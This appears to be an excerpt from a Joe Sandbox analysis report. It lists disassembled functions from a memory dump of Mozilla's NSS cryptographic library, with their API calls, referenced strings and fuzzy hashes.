Instruction ID: cd53e3e8af7f88594747868dad4d708820862bf4a20883dc1bc1bc8ba555d4ec
Opcode Fuzzy Hash: c4d71be72d0d26a2a6421d1a45901c5e764f8927af4cee47671f848ca4ac3875
Instruction Fuzzy Hash: 1811B7A6E0212152FB3166796E4CDBA38585F0214DF540D35E805E2F42FF15CA54C6F2

Function 6C7A4540 Relevance: 25.8, APIs: 17, Instructions: 349COMMON

Download Yara Rule

APIs

PK11_MakeIDFromPubKey.NSS3(00000000), ref: 6C7A4590
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7A471C
TlsGetValue.KERNEL32 ref: 6C7A477C
EnterCriticalSection.KERNEL32(?), ref: 6C7A479A
PR_SetError.NSS3(FFFFE002,00000000), ref: 6C7A484A
PK11_FreeSymKey.NSS3(?), ref: 6C7A4858
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7A486A
PR_Unlock.NSS3(?), ref: 6C7A487E

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

PK11_FreeSymKey.NSS3(?), ref: 6C7A488C
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7A489C
PK11_GetInternalSlot.NSS3 ref: 6C7A48B2
PK11_UnwrapPrivKey.NSS3(00000000,00000130,00000000,?,00000000,?,00000000,00000000,00000000,00000000,00000000,?,6C787F9D), ref: 6C7A48EC
SECKEY_DestroyPrivateKey.NSS3(00000000), ref: 6C7A492A
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7A4949
PR_SetError.NSS3(00000000,00000000), ref: 6C7A4977
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7A4987
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7A499B

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Item_UtilZfree$K11_$CriticalErrorFreeSectionValue$DestroyEnterFromInternalLeaveMakePrivPrivateSlotUnlockUnwrap
String ID:
API String ID: 1673584487-0
Opcode ID: 997e19fbd63c3b5bf585e8577ce5c0a4eb27eed095be52fc71bcb8d55b681f2d
Instruction ID: fb103e1d9270f4597b403184622104e58598e04b3939cd161442aa20f87869fa
Opcode Fuzzy Hash: 997e19fbd63c3b5bf585e8577ce5c0a4eb27eed095be52fc71bcb8d55b681f2d
Instruction Fuzzy Hash: 1EE19C759002559FDB24CF64CD48BAABBB4EF04308F1082B9E81DA7751EB329A95DF90

Function 6C7D0C60 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 153memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(*,}l), ref: 6C7D0C81

Part of subcall function 6C7BBE30: SECOID_FindOID_Util.NSS3(6C77311B,00000000,?,6C77311B,?), ref: 6C7BBE44

Part of subcall function 6C7A8500: SECOID_GetAlgorithmTag_Util.NSS3(6C7A95DC,00000000,00000000,00000000,?,6C7A95DC,00000000,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C7A8517

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7D0CC4

Part of subcall function 6C7BFAB0: free.MOZGLUE(?,-00000001,?,?,6C75F673,00000000,00000000), ref: 6C7BFAC7

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7D0CD5
PORT_ZAlloc_Util.NSS3(0000101C), ref: 6C7D0D1D
PK11_GetBlockSize.NSS3(-00000001,00000000), ref: 6C7D0D3B
PK11_CreateContextBySymKey.NSS3(-00000001,00000104,?,00000000), ref: 6C7D0D7D
free.MOZGLUE(00000000), ref: 6C7D0DB5
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7D0DC1
free.MOZGLUE(00000000), ref: 6C7D0DF7
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C7D0E05
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C7D0E0F

Part of subcall function 6C7A95C0: SECOID_FindOIDByTag_Util.NSS3(00000000,?,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C7A95E0
Part of subcall function 6C7A95C0: PK11_GetIVLength.NSS3(?,?,?,00000000,?,6C787F4A,00000000,?,00000000,00000000), ref: 6C7A95F5
Part of subcall function 6C7A95C0: SECOID_GetAlgorithmTag_Util.NSS3(00000000), ref: 6C7A9609
Part of subcall function 6C7A95C0: SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6C7A961D
Part of subcall function 6C7A95C0: PK11_GetInternalSlot.NSS3 ref: 6C7A970B
Part of subcall function 6C7A95C0: PK11_FreeSymKey.NSS3(00000000), ref: 6C7A9756
Part of subcall function 6C7A95C0: PK11_GetIVLength.NSS3(?), ref: 6C7A9767
Part of subcall function 6C7A95C0: SECITEM_DupItem_Util.NSS3(00000000), ref: 6C7A977E
Part of subcall function 6C7A95C0: SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C7A978E

Strings

-$}l, xrefs: 6C7D0C64
*,}l, xrefs: 6C7D0C69, 6C7D0DE0, 6C7D0C80, 6C7D0C8B, 6C7D0CAF
*,}l, xrefs: 6C7D0DCC

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$K11_$Tag_$Item_$FindZfree$Algorithmfree$ContextLength$Alloc_BlockCreateDestroyFreeInternalSizeSlot
String ID: *,}l$*,}l$-$}l
API String ID: 3136566230-2381723128
Opcode ID: cd009b66ea096cba3c9d36ba02cd5c8d672bdf2c55152d28e9a576c0a0e85ef8
Instruction ID: dbf9e56e265deae989a2ff47e4e44b8df622b45c29fe0640dfbd4ec256b602c4
Opcode Fuzzy Hash: cd009b66ea096cba3c9d36ba02cd5c8d672bdf2c55152d28e9a576c0a0e85ef8
Instruction Fuzzy Hash: 7041F3B5901205AFEB009F64EE4ABAF7674FF04308F010135E91567742E731BA14CBE2

Function 6C7C6CA0 Relevance: 24.3, APIs: 16, Instructions: 311memoryCOMMON

Download Yara Rule

APIs

SEC_ASN1DecodeItem_Util.NSS3(?,?,6C891DE0,?), ref: 6C7C6CFE
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7C6D26
PR_SetError.NSS3(FFFFE04F,00000000), ref: 6C7C6D70
PORT_Alloc_Util.NSS3(00000480), ref: 6C7C6D82
DER_GetInteger_Util.NSS3(?), ref: 6C7C6DA2
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7C6DD8
PK11_KeyGen.NSS3(00000000,8000000B,?,00000000,00000000), ref: 6C7C6E60
PK11_CreateContextBySymKey.NSS3(00000201,00000108,?,?), ref: 6C7C6F19
PK11_DigestBegin.NSS3(00000000), ref: 6C7C6F2D
PK11_DigestOp.NSS3(?,?,00000000), ref: 6C7C6F7B
PK11_DestroyContext.NSS3(00000000,00000001), ref: 6C7C7011
PK11_FreeSymKey.NSS3(00000000), ref: 6C7C7033
free.MOZGLUE(?), ref: 6C7C703F
PK11_DigestFinal.NSS3(?,?,?,00000400), ref: 6C7C7060
SECITEM_CompareItem_Util.NSS3(?,?), ref: 6C7C7087
PR_SetError.NSS3(FFFFE062,00000000), ref: 6C7C70AF

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: K11_$Util$DigestError$ContextItem_$AlgorithmAlloc_BeginCompareCreateDecodeDestroyFinalFreeInteger_Tag_free
String ID:
API String ID: 2108637330-0
Opcode ID: 14d67496734289b601276bd1dc6e291362039691bdf9b253bb88212255298751
Instruction ID: e9f3df109e67ed7f5c7c54055caa2402fa7a4bd25920d6b580c62b54268140a7
Opcode Fuzzy Hash: 14d67496734289b601276bd1dc6e291362039691bdf9b253bb88212255298751
Instruction Fuzzy Hash: F1A119B17042029FEB109F24DEC5B7A32A4EB8131CF24493AE919CBB81E775DA45C793

Function 6C78AEC0 Relevance: 24.3, APIs: 16, Instructions: 272threadCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78AF25
EnterCriticalSection.KERNEL32(?,?,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78AF39
PR_Unlock.NSS3(?,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78AF51
PR_SetError.NSS3(FFFFE041,00000000,?,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78AF69
TlsGetValue.KERNEL32 ref: 6C78B06B
EnterCriticalSection.KERNEL32(?), ref: 6C78B083
PR_Unlock.NSS3(?), ref: 6C78B0A4
TlsGetValue.KERNEL32 ref: 6C78B0C1
EnterCriticalSection.KERNEL32(00000000), ref: 6C78B0D9
PR_Unlock.NSS3 ref: 6C78B102
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C78B151
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C78B182

Part of subcall function 6C7BFAB0: free.MOZGLUE(?,-00000001,?,?,6C75F673,00000000,00000000), ref: 6C7BFAC7

PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C78B177

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78B1A2
PR_GetCurrentThread.NSS3(?,?,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78B1AA
PR_SetError.NSS3(FFFFE018,00000000,?,?,?,?,6C76AB95,00000000,?,00000000,00000000,00000000), ref: 6C78B1C2

Part of subcall function 6C7B1560: TlsGetValue.KERNEL32(00000000,?,6C780844,?), ref: 6C7B157A
Part of subcall function 6C7B1560: EnterCriticalSection.KERNEL32(?,?,?,6C780844,?), ref: 6C7B158F
Part of subcall function 6C7B1560: PR_Unlock.NSS3(?,?,?,?,6C780844,?), ref: 6C7B15B2

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlock$ErrorItem_UtilZfree$CurrentThreadfree
String ID:
API String ID: 4188828017-0
Opcode ID: cfdd5e8fda1feec04d2d4d17ef656921b181e4ddf51c7071e5d0af9594124c8c
Instruction ID: 356d5b12696bd4b1cf274336a810e9480c5ad5da172824fdbb971967ebdc5679
Opcode Fuzzy Hash: cfdd5e8fda1feec04d2d4d17ef656921b181e4ddf51c7071e5d0af9594124c8c
Instruction Fuzzy Hash: 62A1D0B1E002059BEF119F64DE89AEE77B4BF04308F144035EA05AB752EB31E959CBE1

Function 6C7AE550 Relevance: 23.1, APIs: 12, Strings: 1, Instructions: 384COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C7AE5A0

Part of subcall function 6C80C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C80C2BF

memcpy.VCRUNTIME140(?,?,?), ref: 6C7AE5F2

Strings

0, xrefs: 6C7AEA4D

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ErrorValuememcpy
String ID: 0
API String ID: 3044119603-4108050209
Opcode ID: d4b3aa99240c96fe9c198071d78fe97d4f1edab7430e7d8162425cba6522209d
Instruction ID: 2966ac2d83852238fdee1254b02d9aa2748cf146aadd904736958f2ebe5ba8f5
Opcode Fuzzy Hash: d4b3aa99240c96fe9c198071d78fe97d4f1edab7430e7d8162425cba6522209d
Instruction Fuzzy Hash: C7F17CB1A002199FDB21CF64CD84BDA77B5BF49318F0442A8E908A7651E771EEA5CFD0

Function 6C782C40 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 163COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(#?xl,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782C62
EnterCriticalSection.KERNEL32(0000001C,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782C76
PL_HashTableLookup.NSS3(00000000,?,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782C86
PR_Unlock.NSS3(00000000,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782C93

Part of subcall function 6C80DD70: TlsGetValue.KERNEL32 ref: 6C80DD8C
Part of subcall function 6C80DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C80DDB4

TlsGetValue.KERNEL32(?,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782CC6
EnterCriticalSection.KERNEL32(0000001C,?,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23,?), ref: 6C782CDA
PL_HashTableLookup.NSS3(00000000,?,?,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?,?,6C783F23), ref: 6C782CEA
PR_Unlock.NSS3(00000000,?,?,?,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?), ref: 6C782CF7
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,6C77E477,?,?,?,00000001,00000000,?), ref: 6C782D4D
EnterCriticalSection.KERNEL32(?), ref: 6C782D61
PL_HashTableLookup.NSS3(?,?), ref: 6C782D71
PR_Unlock.NSS3(?), ref: 6C782D7E

Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507AD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507CD
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C6E204A), ref: 6C7507D6
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C6E204A), ref: 6C7507E4
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,6C6E204A), ref: 6C750864
Part of subcall function 6C7507A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C750880
Part of subcall function 6C7507A0: TlsSetValue.KERNEL32(00000000,?,?,6C6E204A), ref: 6C7508CB
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508D7
Part of subcall function 6C7507A0: TlsGetValue.KERNEL32(?,?,6C6E204A), ref: 6C7508FB

Strings

#?xl, xrefs: 6C782C43

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Value$CriticalSection$EnterHashLookupTableUnlock$calloc$Leave
String ID: #?xl
API String ID: 2446853827-521577452
Opcode ID: 89b3f7fa475e5478bd6f7192162226bf3764b3bb52448c0f92e9d4f0120d6c4d
Instruction ID: 09a6122ff7fce536ac1f2166632547a63a2ebf1fe6aaffc81b56469f0f37ff75
Opcode Fuzzy Hash: 89b3f7fa475e5478bd6f7192162226bf3764b3bb52448c0f92e9d4f0120d6c4d
Instruction Fuzzy Hash: DA51F2B6D01205ABDB109F24DD8D8AABB78BF1521DB048531ED1897B12FB31E964C7E1

Function 6C83A4C0 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 145COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C83A4E6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C83A4F9
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C83A553
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C83A5AC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C83A5F7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C83A60C
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000110E1,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C83A633
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C83A671
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,00000001), ref: 6C83A69A

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C83A61D, 6C83A68B, 6C83A6B3
%s at line %d of [%.10s], xrefs: 6C83A62C
database corruption, xrefs: 6C83A627

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: _byteswap_ulong$_byteswap_ushortsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2358773949-598938438
Opcode ID: 81e4ed50d11f8862871e22c6d317e61358aa6c80bd41f3c10e8e15726e3cd1d0
Instruction ID: c898c53b5421af005fe926667eb5646750424e3406276e90108f797e3efe4511
Opcode Fuzzy Hash: 81e4ed50d11f8862871e22c6d317e61358aa6c80bd41f3c10e8e15726e3cd1d0
Instruction Fuzzy Hash: 5251A3B1A08215AFCB218F95DA80A9A7BE0AB8471CF046C39F84D47651F771DD94CBD2

Function 6C7645B0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 135memoryCOMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,6C761984,?), ref: 6C7645F2
SECOID_FindOIDByTag_Util.NSS3(?), ref: 6C7645FB

Part of subcall function 6C7C0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7C08B4

SECITEM_CompareItem_Util.NSS3(00000000,-00000001), ref: 6C76461E

Part of subcall function 6C7BFCB0: memcmp.VCRUNTIME140(?,8B0B74C0,04C6831E,?,00000000,?,6C764101,00000000,?,?,?,6C761666,?,?), ref: 6C7BFCF2

SECITEM_CopyItem_Util.NSS3(00000000,?,-00000019), ref: 6C764646
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C764662
PR_SetError.NSS3(FFFFE023,00000000), ref: 6C76467A
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C764691
PL_FreeArenaPool.NSS3 ref: 6C7646A3
PL_FinishArenaPool.NSS3 ref: 6C7646AB
free.MOZGLUE(?), ref: 6C7646BC
PORT_ZAlloc_Util.NSS3(?), ref: 6C7646E5
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C764717

Strings

security, xrefs: 6C7645EC

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: Util$ArenaItem_Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_freememcmpmemcpy
String ID: security
API String ID: 3482804875-3315324353
Opcode ID: 4d9535367036e6270829d68eb827118bfe225cacdf0e0dd590b0358eafa1fcc0
Instruction ID: fae031cc0ff1a68d2fdddeb074451a1847ad921ee59d5d30a2add750e17b82b6
Opcode Fuzzy Hash: 4d9535367036e6270829d68eb827118bfe225cacdf0e0dd590b0358eafa1fcc0
Instruction Fuzzy Hash: 624107B2A04310ABD710DB669E58B5B77D8AF4475CF040939EC15A3F41E730E614C6E7

Function 6C7DAD90 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7DADB1

Part of subcall function 6C7BBE30: SECOID_FindOID_Util.NSS3(6C77311B,00000000,?,6C77311B,?), ref: 6C7BBE44

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6C7DADF4
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C7DAE08

Part of subcall function 6C7BB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C8918D0,?), ref: 6C7BB095

SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C7DAE25
PL_FreeArenaPool.NSS3 ref: 6C7DAE63
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C7DAE4D

Part of subcall function 6C6E4C70: TlsGetValue.KERNEL32(?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4C97
Part of subcall function 6C6E4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CB0
Part of subcall function 6C6E4C70: PR_Unlock.NSS3(?,?,?,?,?,6C6E3921,6C8C14E4,6C82CC70), ref: 6C6E4CC9

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7DAE93
PR_CallOnce.NSS3(6C8C2AA4,6C7C12D0), ref: 6C7DAECC
PL_FreeArenaPool.NSS3 ref: 6C7DAEDE
PL_FinishArenaPool.NSS3 ref: 6C7DAEE6
PR_SetError.NSS3(FFFFD004,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C7DAEF5
PL_FinishArenaPool.NSS3 ref: 6C7DAF16

Strings

security, xrefs: 6C7DADEE

Memory Dump Source

Source File: 00000000.00000002.2581149535.000000006C6E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2581096166.000000006C6E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581557840.000000006C87F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581634745.000000006C8BE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581675588.000000006C8BF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581717221.000000006C8C0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2581794875.000000006C8C5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: ArenaPool$Util$AlgorithmCallErrorFinishFreeOnceTag_$CriticalDecodeDestroyEnterFindInitItem_PublicQuickSectionUnlockValue
String ID: security
API String ID: 3441714441-3315324353
Opcode ID: 22f9580e304878cafdb10a8c8fb6e9286d6bc3e97ac5b9ef79cd0055de873cef
Instruction ID: 97bd5f92985280acaa60547284332b56b1f0914256414fc91d8bdea2ff92e609
Opcode Fuzzy Hash: 22f9580e304878cafdb10a8c8fb6e9286d6bc3e97ac5b9ef79cd0055de873cef
Instruction Fuzzy Hash: F8410BB19042016BE7215B249E8EBBA32ACBF5172CF150535E81496B81F739F708C6D7

Function 6C796650 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 117COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DecryptInit), ref: 6C796676
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7966A4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7966B3

Part of subcall function 6C87D930: PL_strncpyz.NSS3(?,?,?), ref: 6C87D963

PR_LogPrint.NSS3(?,00000000), ref: 6C7966C9
